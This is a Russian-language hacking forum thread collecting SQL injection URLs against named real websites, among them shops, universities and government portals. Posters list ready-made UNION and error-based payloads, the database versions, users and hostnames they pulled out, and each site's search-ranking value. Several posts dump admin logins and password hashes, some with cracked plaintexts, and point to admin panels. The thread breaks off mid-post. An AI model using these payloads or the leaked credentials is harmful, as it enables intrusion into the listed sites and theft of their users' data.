SQL Инъекции

[Konqi]

http://www.lourdesdirect.net/products.php?currency=12'+or+(1,1)=(select+count(0 ),concat((select+version()+from+information_schema .tables+limit+0,1),floor(rand(0)*2))from(informati on_schema.tables)+group+by+2)--+

[stepashka_]

Code:
http://doska.k-gb.ru/ind.php?pn=5&id_typ=-137+union+select+1,2,3,4,5,6,group_concat(column_n ame),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 ,24,25,26+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TA BLE_NAME=0x75736572+--+

тиц 120

PageRan 3

[Lilo]

PHP:
http://weloveyourface.com/face.php?id=-26+union+select+1,2,3,concat_ws(0x3a,version(),dat abase(),user(),@@version_compile_os),5,6,7--

пассы в открытом виде

[HakaR]

PHP:
http://velosipedov.net/html/modules/articles/print.php?id=-2+union+select+1,2,3,4,concat_ws(0x3a,uname,pass,r ank),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from +cars_users+limit+0,1--

ТИЦ30 PR2


PHP:
http://www.somosportugueses.com/modules/articles/print.php?id=-81+union+select+1,2,3,4,concat_ws(0x3a,uname,pass, rank),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+fro m+xoops_users+limit+0,1--

PR4

[av1]

Code:
http://www.atmo.arizona.edu/?section=news&id=detail&newsID=-131+UNION+SELECT+1,2,concat_ws%280x3a,user%28%29,v ersion%28%29,database%28%29%29,4,5,6--

Username: webuser@localhost

Version: 5.0.77

Database: atmo

Google PR: 7

[tracy]

http://www.nevskiplastex.ru/catalog/?id_sect=-102+union+select+1,2,3,4,group_concat(table_name), 6+from+information_schema.tables+where+table_schem a=0x6e6576736b695f6e6576--+

ТИЦ :60

http://www.1-radio.ru/?app=&file=aticles&do=one&id=60+and+1=0+union+select+1,2,version(),4,5,6+--+

ТИЦ : 40

http://www.toolsclub.ru/index.php?catID=-17+union+select+1--

http://www.antikor-s.ru/?id=-53+union+select+1,2,3,4,5,6,7+--+

ТИЦ : 10

http://www.imola.ru/?menu_id=177&page_id=28+and+1=0+union+select+1,2,3,4,5,6,7,8--+

ТИЦ : 50

http://www.speedsound.ru/forum.php?action=display_tread&tread_id=9+and+1=0+union+select+version()+--+

ТИЦ : 10


http://www.kyzmet.kz/?lang=ru&id_1=15+and+1=0+union+select+1,2,version(),4,5,6,7 ,8,9,10

Агентство Республики Казахстан по делам государственной службы

Выводил benchmark'om через скрипт от daniel_1024

ТИЦ :170 PR: 6

[stepashka_]

Code:
http://www.fazendeiro.ru/board/ind.php?pn=2&id_categ=-40+union+select+1,2,3,4,5,group_concat(column_name ),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+FROM+I NFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x70687 062625f7573657273+--+

тиц 50


Code:
http://www.glavmetall.ru/board2/ind.php?pn=0&id_typ=-18+union+select+1,2,3,4,5,6,concat_ws(0x3a,version (),database(),user()),8,9,10,11,12,13,14,15,16,17, 18,19,20,21,22,23--+

4.1.25-log:wwwglavmetallru:glavmeta@localhost

тиц 10

PageRank 1

[HakaR]

PHP:
http://www.diver.ru/clubs.php?id=-117+union+select+1,concat_ws(0x3a,version(),databa se(),user()),3,4,5,6,7,8,9,10,11--

5.0.77:diver:diver@serv1.mysql5.hosting.marosnet.r u

ТИЦ300 PR5


PHP:
http://profistar.ru/club.php?id=-4+union+select+1,2,concat_ws(0x3a,id,login,pass),4 ,5+from+users+limit+0,1--

http://profistar.ru/admin

[stepashka_]

Code:
http://www.elecab.ru/board/ind.php?pn=6&id_categ=-41+union+select+1,2,3,4,5,concat_ws(0x3a,version() ,database(),user()),7,8,9,10,11,12,13,14,15,16,17, 18,19,20,21--+

4.1.25-log:elecab43_elecab:elecab43_userel@localhost

тиц 20

PageRank 2

[-PRIVAT-]

http://retriever-search.ru/puppy.php?id=1402427%20union%20select%201,2,3,4,5, 6,7,8,9,10,11,12,13,14,15,16,17,18,19,version%28%2 9,21,22,23,24,25,26,27,28,29,30,31,32,33%20--%20d



http://counter.pr-cy.ru/prcy/retriever-search.ru

[tracy]

http://www.simport.ru/?page=3&id=2+and+1=0+union+select+1,group_concat(table_nam e),3,4,5,6+from+information_schema.tables+where+ta ble_schema=0x74616967616b685f736f62696e6573746174--+

ТИЦ : 10 PR: 1

http://www.bankrabot.ru/index.php?a=razd2&content=1+group+by+7+--+

ТИЦ : 20 PR: 2

http://www.super-yo.com/resultados.php?id=2+union+select+1,2,3,4+--+

http://thesydneytimes.com.au/?sid=17+and+1=0+union+Select+1,version()+--+

ТИЦ : 40 PR: 2

Есть доступ к mysql.user ,но нет прав на запись

http://nice.in.ua/item.php?id=379+and+1=0+union+Select+1,2,3,4,5,6,7 ,8,9+--+

ТИЦ : 20

[MolotSNK]

*ttp://www.sinodipc.ru/index.php?id=40+UNION+SELECT+CONCAT(Version(),0x2F 2A2A2F,Database(),0x2F2A2A2F,User())+LIMIT+1,1

Database Version: 4.1.25-log

Database name: wwwsinodipcru

User name: sinodipc@localhost

ТИЦ 170

PR 2

[tracy]

http://www.nkadry.ru/?fv&id_v=4763+and+1=0+union+select+1,2,version(),4,5,6 ,7,8,9,10,11,12+--+

ТИЦ : 30 PR: 3


http://www.tires4you.ru/index1.php?id=760&model=2759+and+1=0+union+select+1,2,3,4,version(), 6,7,8,9,10+--+

ТИЦ : 30

http://www.mussaloon.ru/?DIR=katalog&id=221+and+1=0+union+select+1,2,3,4,5,version(),7, 8+--+

ТИЦ : 30


http://www.usa.kirov.ru/index.php?id=31+and+1=0+union+select+1,2,3,4,5,gro up_concat(table_name),7,8,9,10,11,12,13+from+infor mation_schema.tables+where+table_schema=0x555341--+

ТИЦ :20 PR: 2

http://www.expo.chita.ru/expo/?id=38+and+1=0+union+select+1,2,3,group_concat(tab le_name),5+from+information_schema.tables+where+ta ble_schema=0x6d246578706f--+

ТИЦ : 60

Один из поддоменов крупного сайта chita.ru 15к траффа

[Konqi]

http://anysetiers-fondues-chocolat.com/EN/all-products.php?Category=-4+union+select+1,2,3,4,5,6,version()--

http://www.aureus-pharma.com/Pages/Seminars/seminar_abstracts.php?id_event=56+union+select+ver sion()

[[Feldmarschall]]

Code:
http://www.nlchp.org/news.cfm?id=1+union+select+1,2,3,4,5,6,7,8,9,10,11 ,12,13,14,15,16+from+msysaccessobjects

pr-6


Code:
http://www.bloodaxebooks.com/articles.asp?id=1+union+select+1,2,3+from+msysacce ssobjects

PR 6


Code:
http://www.lescompagnonsdelafuste.com/news.php?id=-1+union+select+1,2,3,concat_ws(0x3a,version(),user (),database()),5,6,7,8,9,10+from+information_schem a.tables--

[Keltos]

http://www.carshowguide.com/clubs.php?id=-63+UnIon+selECt+1,2,3,4,5,6,7,8,9,10,11,12,13,14,1 5,16,user(),18,19,20,21,22,23,24,25,26,27,28,29,30 ,31,32,33,34,35,36,37+--+


тИЦ — 10

PR — 2


Code:
http://www.pays-salers.fr/pages/clubs.php?id=-28+UnIon+selECt+1,user(),3,4,5,6,7,8+--+

тИЦ — 10

PR — 3

[Kusto]

Code:
http://www.hoceanshipbuilding.com/ser.php?id=-29+union+select+1,2,3,4,concat(username,char(58),p assword),6,7+from+admin+--+

и админка http://www.hoceanshipbuilding.com/admin/login.php


Code:
http://www.dl-jiayuan.com/ser.php?id=-9+union+select+1,2,3,concat(username,char(58),pass word),5,6+from+admin+--+

[AC//DC]

http://artia.ru/info.html?id=-1015+union+select+1,2,3,4,5,6,@@version,8,9,10,11, 12,13,14,15,16,17,18,19,20,21,22,23,24,25+--&cat=14&subcat=55

[stepashka_]

Code:
http://www.torgnik.ru/ind.php?pn=1&id_typ=-136+union+select+1,2,3,4,5,6,concat_ws(0x3a,versio n(),database(),user()),8,9,10,11,12,13,14,15,16,17 ,18,19,20,21,22,23,24,25,26,27,28--+

4.0.26:torgni:torgni@aqua3.di-net.ru

тиц 10

PageRank 2

[tracy]

http://www.magniflex.ru/catalog/?id=17&producer=-46+union+select+group_concat(table_name)+from+info rmation_schema.tables+where+table_schema=0x6d61676 e69666c65785f7275--

ТИЦ : 70 PR: 3

http://www.shina-mashina.ru/index.php?cat=news&act=viewdetail&id=27+and+1=0+union+Select+1,version(),3,4,5--

http://www.ic-sfera.ru/?action=view&id=263128+and+1=0+union+select+version(),2,3,4,5,6 ,7,8,9,10--

ТИЦ : 10


http://www.gmedia.kz/news1.php?uid=33+and+1=0+union+select+1,2,3,group_ concat(table_name),5,6,7,8,9+from+information_sche ma.tables+where+table_schema=0x2e69632d73666572612 e7275--&pUid=

ТИЦ : 80 PR:3


http://www.buketta.ru/buy.php?id=77+and+1=0+UnIon+selECt+1,group_concat( table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17, 18,19,20+from+information_schema.tables+where+tabl e_schema=0x4236373930395f753335323330--+--

http://www.tmsat.ru/telephon/item.php?num=3979+and+1=0+union+select+1,2,3,group _concat(table_name),5+from+information_schema.tabl es+where+table_schema=0x6d6f62696c655f646174616261 7365--

ТИЦ : 550


http://www.apex-it.ru/index.php?id_title=topic&view=topic_item&id=12+and+1=0+union+select+1,2,3,4,group_concat(ta ble_name),6,7,8+from+information_schema.tables+whe re+table_schema=0x7675333030325f617065786974--

ТИЦ : 10

http://www.vegabryansk.ru/model/index.php?id_catalog=1&id_categor=0&id_proiz=5+and+1=0+union+select+1,version(),3,4--

ТИЦ : 20 PR: 3

http://www.wcra.ru/?val=news&im=27+and+1=0+union+select+1,version()--

[AC//DC]

ЧУКОТКА

http://www.visitchukotka.com/tours.php?view=tour&tid=-2+union+select+1,concat(@@version,0x20,user(),0x20 ,database(),0x20,@@version_compile_os),3+--

version : 5.0.51a-24+lenny3-log

user : z135648_visc@77.221.130.42

database : z135648_visc

os : debian-linux-gnu

[tracy]

http://www.ilovecz.ru/index.php?idoflevel=7&idofpage=158+and+1=0+union+select+1,2,3,4,version( ),6--

тИЦ: 1500

MYSQL 5

[Kusto]

http://www.aquaticaonline.net/fish.php?pageid=10250&type=category&id=-575+union+select+1,concat(user_login,char(58),user _pass)+from+wordpress.wp_users+--+

http://www.killarney.ie/fish.php?id=-4+union+select+1,concat(usr,char(58),pwd),3,4,5,6, 7,8,9,10,11,12,13,14,15,16+from+ssp_usrs+--+

http://www.kutkin.ru/fish.php?id=-11+union+select+1,concat(username,char(58),passwor d)+from+ipdenis_adamascar.cute_users+--+

md5 админский расшифрованный нашол- 1t2sT4 админку ищите сами...

[tracy]

http://www.niasadventure.com/index.php?page=content&cid=83&action=viewgaleri&id=1+and+1=0+union+select+1,group_concat(column_na me),3+from+information_schema.columns+where+table_ name=0x636d735f70617373776f7264--

/admin

c7bb3e8b9166c4894d213ce7589d1025:ciko

0192023a7bbd73250516f069df18b500:admin123

http://www.hjauto.ru/carview.php?id=806+and+1=0+UnIon+selECt+1,2,3,4,gr oup_concat(table_name),6,7,8,9,10,11,12,13,14,15,1 6,17,18,19,20+from+information_schema.tables+where +table_schema=0x6175746f5f686a6175746f+--+

http://mobishop.az/search.php?action=search&catid=2+and+1=0+UnIon+selECt+1,2,3,version(),5,6,7 ,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24, 25,26,27,28,29,30+--+

PR: 3

[stepashka_]

Code:
http://arenda5.ru/dosk/ind.php?pn=16&id_typ=-6+union+select+1,2,3,4,5,6,concat_ws(0x3a,version( ),database(),user()),8,9,10,11,12,13,14,15,16,17,1 8,19,20,21,22,23--+

5.0.67-community:sdelka5_arenda5:sdelka5_sdelka5@localhos t

тиц 70

PageRank 3

[-PRIVAT-]

http://retriever-search.ru/puppy.php?id=1402427%20union%20select%201,2,3,4,5, 6,7,8,9,10,11,12,13,14,15,16,17,18,19,version%28%2 9,21,22,23,24,25,26,27,28,29,30,31,32,33%20--%20d

http://counter.pr-cy.ru/prcy/retriever-search.ru


http://laitkipers.ru/puppy.php?id=-76+union+select+1,2,3,4,5,6 --

http://counter.pr-cy.ru/prcy/laitkipers.ru


http://vertagus.com.ua/puppy.php?id=-29+union+select+1,2,3,4,5,6,7--

http://counter.pr-cy.ru/prcy/vertagus.com.ua

[Kusto]

http://www.tuk-tuk.com/member/my.php?id=-384+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14, 15,16,17,18,19,20,21,22,23,24,25,26,27,28,concat(t uktuk_system_user_email,char(58),tuktuk_system_use r_password),30,31,32,33,34,35,36,37,38,39,40,41,42 ,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,5 9,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75, 76+from+tuktuk_web.tuktuk_system_user+--+

пароли в открытом виде

[ubi]

http://www.vires-superum.com/index.php?option=com_clan_members&id=62+and+substring(version(),1,1)=4&task=showClanMemberDetails

[tracy]

http://www.dtms.ru/index.php?ParentID=661+and+1=0+union+select+versio n()--

ТИЦ :10


http://www.mak.biz.ua/st.php?id=4+and+1=0+union+Select+1,group_concat(ta ble_name),3,4+from+information_schema.tables+where +table_schema=0x6d616b62697a39325f636f6e74656e74--

PR: 2

http://www.kamins.ru/index.php?all2+&id_sec=3144+and+1=0+union+select+1,version(),3--

ТИЦ : 10


http://www.wasmer.ru/?Orima_78&id=169+and+1=0+union+select+1,2,group_concat(schem a_name),4,5,6,7+from+information_schema.schemata--

ТИЦ : 30 PR: 1

http://www.rukodelielux.ru/catalog.php?m_id=6+and+1=0+union+select+1,2,versio n()--

ТИЦ : 10


/admin - без пароля

http://www.darshana.ru/tests.php?num=2+and+1=0+union+select+1,2,version() ,4,5--

ТИЦ : 10

http://www.rozheniza.ru/showinfo.php?id=1'

ТИЦ : 30

http://lawine.ru/inner.php?target=forum&tree=11&chid=-3+union+select+1,2,concat_ws(0x3a,aname,apass,aema il),4+from+tadmin--

/admin

ТИЦ : 90 PR: 4

Трафф : 5к

Торговое представительство компании Lawine.

[Kusto]

http://www.openworld.gov

за один запрос выводится 3615 логинов с пассами в md5


Code:
http://www.openworld.gov/hosts/city.php?id=257&lang=2+and+1=0+union+select+1,concat(username,char (58),user_password)+from+phpbb_users+--+


этот просто- до кучи


Code:
http://www.labusinessconnect.com/city.php?id=42&cid=-42+union+select+1,2,concat(username,char(58),passw ord),4,5,6,7,8,9,10+from+eb_admins+--+

и еще один


Code:
http://www.ilfaroonline.it/city.php?city=ostia&id=-10359+union+select+1,2,3,pass,5,6,7,8,9,10+from+Sq l222170_1.admin+--+

[tracy]

http://info.bear.ru/index.php?gid=-41+union+Select+1,2,3--

ТИЦ : 80

http://www.delovod.info/view.php?page=1&id=6+and+1=0+union+select+1,2,version()--

http://www.dalstroy.ru/?id=4+group+by+7--

ТИЦ : 10


http://www.tmgrupo.ru/info.php?id_article=-5+union+select+version(),2--

PR: 3

http://www.kam-ur.info/subgroup.php?gr=6+and+1=0+union+select+group_conca t(schema_name)+from+information_schema.schemata--

[Axel_Ustus]

Kusto #13026

http://www.openworld.gov/hosts/city.php?id=257&lang=2+and+1=0+union+select+1,concat(username,char (58),user_password)+from+phpbb_users+--+

-------------------------------------------------------------------------

-------------------------------------------------------------------------

было вот здесь #6097

/showthread.php?p=788711

[Axel_Ustus]

http://www.livecharts.mobi/news/news_item.php?id=-3388244+union+select+1,concat_ws(0x3a3a3a,user(),d atabase(),version()),3,4,5,6,7,8,9,10,11--

[Kusto]

http://www.sadarvuga.com/php/project.php?id=-59+union+select+concat(username,char(58),password) +from+users+--+

http://www.velotaxi.com/php/main.php?id=1+union+select+1,2,3+--+

http://www.marqueesole.com/php/client/product.php?id=-319+union+select+concat(login,char(58),passwd)%20+ from+admin+--+

[AC//DC]

интернет-магазин Matras-Land

http://www.matras-land.ru/index.php?arts=-46+and+1=2+union+select+1,concat(@@version,0x20,us er(),0x20,database(),0x20,@@version_compile_os),3--

version : 5.0.90-log

user : u202662@10.10.227.203

database : u202662_3

os : portbld-freebsd7.3

[Lilo]

http://www.sanjuandelrio.com.mx/postales/postal.php?id=-13+union+select+1,2,concat_ws(0x3a,version(),datab ase(),user(),@@version_compile_os),4,5--

[ubi]

http://zupanet.com.s16.evanzo-server.de/modules.php?name=eGallery&file=index&op=showpic&pi%20%20%20d=-%20%209999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/0,%20%20aid,pwd,pwd,4/**/from+nuke_authors/*where%20admin%201%200%202

[av1]

Code:
https://www.nyu.edu/projects/mednar/play.php?id=-82+UNION+SELECT+concat_ws(0x3a,user(),version(),da tabase())--

Username: mednar_app@F1.HOME.NYU.EDU

Version: 5.1.32-log

Database: mednar

Google PR: 8

[moodoone]

PHP:
http://www.wanted-one.ru/prepod.php?id=-2+UnIon+selECt+1,group_concat(column_name),3+from+ information_schema.columns+where+table_name=0x5048 5042425F5553455253--+

[tracy]

http://d-two.ru/?news=1+and+1=0+union+select+1,2,concat_ws(0x3a,ID ,USERNAME,PASSWORD),4,5,6+from+user+--+

/admin.php

view-source:http://www.bekesmatrix.hu/index.php?contentSite=news&itemId=42059+and+1=0+union+Select+group_concat(tab le_name)+from+information_Schema.tables+where+tabl e_schema=0x62656b65736d6174726978--

PR: 3

http://elecom.net.ru/production/?type=2+and+1=0+union+select+1,group_concat(schema _name)+from+information_schema.schemata--

ТИЦ : 90 PR: 2

http://ydachnik.by/catalog/?buy=-253+UnIon+selECt+1,2,3,4,5,version(),7,8,9,10,11,1 2,13,14,15,16,17+--+

ТИЦ : 10

http://www.agun.kz/?id=21+and+1=0+union+select+1,2,3,version(),5,6,7, 8,9,10+--+&lang=kz

ТИЦ : 100

[-PRIVAT-]

Шопы!

Шопы:​


http://alsport.ru/shop.php?tovarID=597+union+select+1,2,3,4,5,6,7,8, 9,0 --



ТИЦ20(R2) PR2


http://www.potrope.ru/tovar?TOVARID=-207+union+select+1,concat%28@i:=0x00,@o:=0x0d0a,be nchmark%2823,@o:=CONCAT%28@o,0x0d0a,%28SELECT+conc at%28table_schema,0x2E,@i:=table_name%29+from+info rmation_schema.tables+WHERE+table_name%3E@i+order+ by+table_name+LIMIT%201%29%29%29,@o%29,3,4,5--



ТИЦ20(R2) PR3


http://3et.ru/news.php?id=6+union+select+1,2,3,4--



ТИЦ20(R2) PR3 Разработчик сайтов, куча уязвимых работ в портфолио


http://www.i-shop.su/shop.asp?action=FFD75A1BA671C169D1D5E811FF7A302F&tovarid=13+union+select+1,2,3,4,5,6,7,8,9,0,1,--



ТИЦ10(R2) PR2


http://www.sewing-machines.com.ua/catalog.php?tovarid=-191+union+select+1 --



ТИЦ10YC(R2) PR1


http://www.pontov.net/?pageId=-91+union+select+group_concat%28column_name%29+from +information_schema.columns+where+table_name=0x666 f72756d--



ТИЦ50YC(R3)(CY=www.ksenon.ru) PR3

[tracy]

http://www.krona-ross.perm.ru/index.php?page=production&id=13+and+1=0+union+select+version(),2--

ТИЦ : 10


http://dom.webc.ru/index.php?m=news_show_one&id=2+and+1=0+union+select+1,group_concat(schema_na me),3,4,5+from+information_schema.schemata--

ТИЦ : 20

http://mb-opt.ru/razdel.php?cat=stylia+UnIon+selECt+1,2,3,4,5,6,7,8 ,9,10,11,12,13,14,15,16+--+

ТИЦ :20

[tracy]

www.jonnyhost.com/templates/show.php?id=25'+and+1=0+union+select+1,group_conca t(table_name),3,4,5+from+information_schema.tables +where+table_schema=0x6475727262616e5f636f6e74726f 6c--+

Корявые хостеры , доступа к tbladmins нету вроде

PR: 2

http://www.calligraphy.mvk.ru/?idx=1724+and+1=0+UnIon+selECt+1,2,3,4,5,6,7,8,9,1 0,11,12,13,concat_ws(0x3a,login,password),15,16,17 ,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,3 4,35,36+from+users--+

Админку не нашел, хотя это лишь поддомен

ТИЦ : 350

[tracy]

http://www.vsmpo.ru/cat_details.php?script=news.php&p=&zps=1419'+and+1=0+union+select+1,2,3,group_concat( table_name+separator+'%3Cbr%3E'),5,6,7,8,9,10,11,1 2,13,14+from+information_schema.tables+where+table _schema=0x76736d706f--+

ТИЦ : 750

Sajeys, сайты nzshv.ru ilove.cz уже были

[0pTik]

Code:
http://www.eia.org.uk/view.php?id=1422+union+select+1,version(),3,4

Тиц 10 Pr 7

[Konqi]

http://www.ids-imaging.de/frontend/products.php?cam_id=-12+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,1 5,16,17,18,19,20,21,version(),23,24,25,26,27,28,29 ,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,4 6,47,48,49,50,51

http://www.photonfocus.de/html/eng/products/products.php?prodId=-39+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,1 5,version(),17,18,19,20,21,22,23,24,25,26,27,28,29

http://www.funktechnik24.de/funktech/shop/artikel.php?id=-664+union+select+1,version(),3,4,5,6,7,8,9,10,11,1 2,13,14,15,16,17,18,19&cat=10

http://www.schaben-spinnen.de/Content/shop.php?cat=-13+union+select+1,version()

http://www.hm-leder.de/shop/product_info.php?cPath=195_223&products_id=-2237'+union+select+1,2,aes_decrypt(aes_encrypt(cus tomers_email_address,char(58),customers_password,1 ),1)+from+customers--+

http://www.pinled.de/shop/product_info.php?products_id=1'+or+(1,1)=(select+c ount(0),concat((select+database()+from+information _schema.tables+limit+0,1),floor(rand(0)*2))from(in formation_schema.tables)+group+by+2)--+

http://avfrisia.de/neu/index.php?id=-7+union+select+aes_decrypt(aes_encrypt(version(),1 ),1)+from+user

http://www.kromas.de/en/products.asp?id0=232&id=247&id2=282+or+(select+1+from+msysaccessobjects+group+ by+mid((rnd(0)*2),1))%00

http://www.fosterrefrigerator.de/Foster-products.asp?id=322+union+select+1,2,3,4,5,6,7,8,9 ,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,2 6,27,28,29+from+MSysAccessXML

http://www.filantex.de/products.asp?l=en&Id=459+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13, 14,15,16+from+msysaccessobjects

http://www.traynoramps.com/products.asp?id=170+and+1=(select+top+1+Password+f rom+UTILIS_users+where+user_name='jbelardo')&cat=63&type=3

http://tetraguncare.de/product_view.asp?ID=11+and+1=(select+top+1+@@versi on+from+tblUsers)

http://www.religioesebuecher.de/clients/santiago/products.asp?ProductID=13256+and+1=@@version

[moodoone]

PHP:
http://www.eia.org.uk/view.php?id=-594+union+select+1,version(),3,4--



PHP:
http://www.lostbombers.co.uk/bomber.php?id=-777+union+select+1,version(),3,4,5,6,7,8,9--



PHP:
http://startplus.ru/about/news/?nid=-54+union+select+1,2,3,unhex(hex(concat_ws(0x3a,use r(),database(),version()))),5--



PHP:
http://www.infobetting.com/bookmakers/news.php?id=-370+union+select+1,2,3,4,5,group_concat(table_name ),7,8+from+information_schema.tables--



PHP:
http://www.batathailand.com/news/news.php?id=-75+union+select+1,concat_ws(0x3a,us_id,us_gr_id,us _login,us_password,us_email,us_fname,us_lname,us_c ompany,us_ri_id,us_createddate,us_modifieddate,us_ lastlogon,us_modified,us_deleted,us_ts,us_id,us_gr _id,us_login,us_password,us_email,us_fname,us_lnam e,us_company,us_ri_id,us_createddate,us_modifiedda te,us_lastlogon,us_modified,us_deleted,us_ts),3,4, 5,6,7+from+a_users_f--

[Lilo]

http://www.sdteam.com/?soft_id=-193676+union+select+1,2,3,concat_ws(0x3a,version() ,database(),user(),@@version_compile_os),5,6,7,8,9 ,10,11,12,13,14,15,16,17,18,19,20,21--


тиц 140

вообще нелепо скулю с Эмиком нашли, он кидает сайт что бы я софт скачал,а я случайно точку влепил =))) и скуля вылезла.

сайт по секьюрити и хаку

[0pTik]

Code:
http://www.pet-id.ru/index.php?idm=25&page=33+union+select+1,2,version()--

ТИц 110

[tracy]

http://rondell-shop.ru/catalog.php?cat=2+and+1=0+union+select+1,version() ,3,4,5,6,7+--+&PHPSESSID=a6b2ca635e534385e6b1c8708b7af928

http://fontan.su/?level=1&id=2+and+1=0+union+select+version(),2,3+--+

http://bigeasysportswear.com/details.php?catid=3&subcatid=12&id=3+and+1=0+UnIon+selECt+1,2,3,4,group_concat(tab le_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20, 21,22,23,24,25,26,27,28,29+from+information_schema .tables+where+table_schema=0x777777626967655f62696 7--+

[0pTik]

Code:
http://www.golfonline.ru/c/pagecont/?id=-181%20OR%20%28SELECT%20COUNT%28*%29%20FROM%20%28SE LECT%201%20UNION%20SELECT%202%20UNION%20SELECT%203 %29x%20GR

OUP%20BY%20CONCAT%28MID%28VERSION%28%29,%201,%2063 %29,%20FLOOR%28RAND%280%29*2%29%29%29%20--

ТИц 50 Pr 3



Code:
http://www.keytex.ru/index.php?page=publ_view&id=32+union+select+1,2,database%28%29,4,version%28 %29

тИЦ 10 Pr 3

[moodoone]

Все сайты сделаны одной фирмой http://weblux.com.ua. И все уязвимые..


Code:
http://artbarva.com/index.php?action=services&id=-7+UnIon+selECt+1,2,3,4,version(),6,7,8,9+--+



Code:
http://www.kronospan.com.ua/index.php?action=news&id=-48+UnIon+selECt+1,2,3,4,5,concat_ws(0x3a,login,pas sword),7,8+from+admin--+



Code:
http://lwr.com.ua/index.php?action=menu&id=8+and+1=2+union+select+1,2,group_concat(login,0 x3a,password),4+from+admin--+



Code:
http://legendaclass.com.ua/index.php?action=menu&id=-5+UnIon+selECt+1,2,concat_ws(0x3a,login,password), 4+from+admin--+



Code:
http://dental.net.ua/index.php?action=events&year=&id=-61+UnIon+selECt+1,2,3,4,5,concat_ws(0x3a,login,pas sword),7,8+from+admin--+



Code:
http://inkata.lp.edu.ua/index.php?action=news&id=-15+UnIon+selECt+1,2,3,4,5,concat_ws(0x3a,login,pas sword),7,8+from+admin--+--



Code:
http://mobaks.ua/index.php?action=shop&table=streng&manufacture=Alphard&id=-6+UnIon+selECt+1,user(),3,4,5,6,7,8,9,10,11,12,13, 14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 ,31,32,33,34,35,36,37--

P.S. /login.php

Все пароли к админкам есть в онлайн-базах

[Konqi]

http://www.lhfa.state.la.us/news/news_detail.php?ID=116'+or+(1,1)=(select+count(0), concat((select+version()+from+information_schema.t ables+limit+0,1),floor(rand(0)*2))from(information _schema.tables)+group+by+2)--+

http://www.lhfa.state.la.us/phpinfo.php

PR-6

http://www.redhat.com/promo/summit/2010/img/shadowman.png

[0pTik]

Code:
http://www.dialog-service.ru/index.php?page=275+union+select+1,version%28%29,3, 4,5,6,7--

Тиц 20 pr 2

[moodoone]

Code:
http://www.inverto.tv/products/product.php?section=1&id=-1+and+1=0+union+select+1, 2,3,4,concat_ws(0x3a3a3a,version(),database(),user ()),6,7,8,9,10,11,12,13,14,15,16,17, 18,19,20,21,22--

[brutos]

http://www.shambhala-paragliding.com/events/?action=event&id=13+and+1=2+union+select+1,2,3,4,5,6,concat_ws(0 x3a3a,version(),@@version_compile_os,user(),databa se()),8,9,10,11,12,13

http://www.toursnab.ru/cart.phtml?new=2576+and+1=2+union+select+concat_ws (0x3a3a,version(),user(),database()),2+--+

http://www.vestich.ru/?p=1&art=1&nid=206+and+1=2+union+select+1,2,concat_ws(0x3a,ve rsion(),user(),database())

[Lilo]

http://www.wpss.com/president.php?id=-15+union+select+1,2,3,concat_ws(0x3a,version(),dat abase(),user(),@@version_compile_os),5,6,7,8,9,10, 11,12,13,14--

[moodoone]

Code:
http://www.jetsetmen.com/news.php?id=-200+union+select+1,2,version(),4,5,6,7--



Code:
http://www.infobetting.com/bookmakers/news.php?id=-370+union+select+1,2,3,4,5,group_concat(table_name ),7,8+from+information_schema.tables--

[stepashka_]

Code:
http://volkhov.ru/board/ind.php?pn=0&id_typ=-61+union+select+1,2,3,4,5,concat_ws(0x3a,version() ,database(),user()),7,8,9,10,11,12,13,14,15,16,17, 18,19,20--+

5.0.26-log:sentecru_vol:sentecru_vol@localhost

тиц 20

[DezMond™]

journal.shouxi.net PR: 6


Code:
http://journal.shouxi.net/qikan/article.php?id=251686+uNIon+sELEct+1,2,3,4,5,6,7,8 ,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 +--+

old.minsk.gov.by ТИЦ: 30 PR: 4


Code:
http://old.minsk.gov.by/cgi-bin/org_ps.pl?k_org=-144+union+select+concat_ws(0x3a3a,kd_us,name,mail, city,pass,rnd,f_sh,ur_dost),2,3,4+from+forum_users +limit+1,1+--+&mode=doc&doc=144_2

banff2010.com ТИЦ: 10 PR: 5


Code:
http://www.banff2010.com/press.releases.php?news=-229+union+select+1,concat_ws(0x3a3a,username,passw ord),3,4,5,6,7,8,9,10,11,12+from+Admin_Users+--+

oppenheimlaw.com PR: 3


Code:
http://www.oppenheimlaw.com/press-releases.php?new_id=-70'+union+select+1,2,3,4,5,6,7,8,9,10,11,12+--+

theoneclickgroup.co.uk ТИЦ: 20 PR: 4


Code:
http://www.theoneclickgroup.co.uk/news.php?start=3760&end=3780&view=yes&id=-5046'+union+select+1,2,user(),4,5,6,7,8,9,10,11,12 ,13,14+--+#newspost

offaudio.com ТИЦ: 10 PR: 4


Code:
http://www.offaudio.com/releases.php?rel=-56+union+select+1,2,3,4,table_name+from+informatio n_schema.tables+--+

wielandhelicopters.com.au ТИЦ: 0 PR: 4


Code:
http://www.wielandhelicopters.com.au/details.php?p_id=-62+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,1 5,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31, 32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48 ,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,6 5,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81, 82,83,84,85,86,87,88,89,90+from+cart_payment+--+

uni-rostock.de ТИЦ: 230 PR: 7


Code:
